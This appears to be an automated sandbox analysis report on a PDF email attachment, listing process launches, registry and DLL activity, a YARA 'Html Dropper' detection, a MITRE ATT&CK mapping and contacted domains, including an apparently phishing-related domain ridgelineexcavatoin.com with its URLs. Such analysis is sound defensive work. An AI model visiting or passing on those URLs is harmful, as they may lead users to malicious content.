Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1952 --field-trial-handle=1548,i,5454143950614230969,9627112382424457237,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "E83E2E2F-3C0E-41CF-B558-B807933036CE" "8924B1C6-6665-4B65-867E-5DC3578DA012" "6464" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://www.pipebending.com/#/	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\B3WU6MDI\Proposal From Benpro.pdf"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1940,i,13760317712537378368,5754615531193540325,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1952 --field-trial-handle=1548,i,5454143950614230969,9627112382424457237,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=1828,i,17912482148884077037,9483964587081324458,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: c2r64.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Window found: window name: SysTabControl32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Data Obfuscation

Yara detected Html Dropper

Source: Yara match

File source: 3.7.pages.csv, type: HTML

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File Volume queried: C:\Windows\SysWOW64 FullSizeInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	1 Process Injection	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	5 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	Security Account Manager	14 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	6 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://cdn.entity.	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://messagebroker.mobile.m365.svc.cloud.microsoft	0%	URL Reputation	safe
https://otelrules.svc.static.microsoft	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://officeci.azurewebsites.net/api/	0%	URL Reputation	safe
https://my.microsoftpersonalcontent.com	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://api.addins.store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe
https://api.cortana.ai	0%	URL Reputation	safe
https://staging.cortana.ai	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
challenges.cloudflare.com	104.17.2.184	true	false	high
pipebending.com	208.109.76.254	true	false	unknown
www.google.com	64.233.177.99	true	false	high
ridgelineexcavatoin.com	172.67.191.217	true	false	unknown
www.pipebending.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.pipebending.com/styles/fonts/UniveCon.woff	false	unknown
https://a.nel.cloudflare.com/report/v4?s=yUaZxFC%2FU%2Ba21wbjWgrwo5tOBK361OaAd880pnzXmXt0G9ghuuQb9Q8jeL2Wx%2BFXDG3fhajcERpbMX4hEmrDYQ7ssICuasWwmyPLeN6HVpK4MnuRFHw%2BgzyVixQ2T8DD6Fu1UzlDUsesiw%3D%3D	false	high
http://www.pipebending.com/styles/fonts/UniveConObl.woff	false	unknown
http://www.pipebending.com/styles/145ac2e7.app.css	false	unknown
http://www.pipebending.com/scripts/82c74ff8.scripts.js	false	unknown
http://www.pipebending.com/favicon.ico	false	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=87679d13b8ca6789	false	high
http://www.pipebending.com/views/common/header.tpl.html	false	unknown
https://ridgelineexcavatoin.com/1	false	unknown
http://www.pipebending.com/scripts/1c7ae453.vendor.js	false	unknown
https://a.nel.cloudflare.com/report/v4?s=5mhFaLcGEUKito4YTap6af4M3Sb7i1Ljl5SnWarVBvYPNk1Ok8X5LIcq7abg6IoQORhGy240SrkbvCGHIPq%2FQSeODMINHcuSQmOf28ev9wXf2gpNmv6rH57%2BNFMFN2jm2%2B1CFQ54gz%2Bbxw%3D%3D	false	high
https://ridgelineexcavatoin.com/jq/8a55860f2cae358e560aa5f55856c7c166218b25540f0	false	unknown
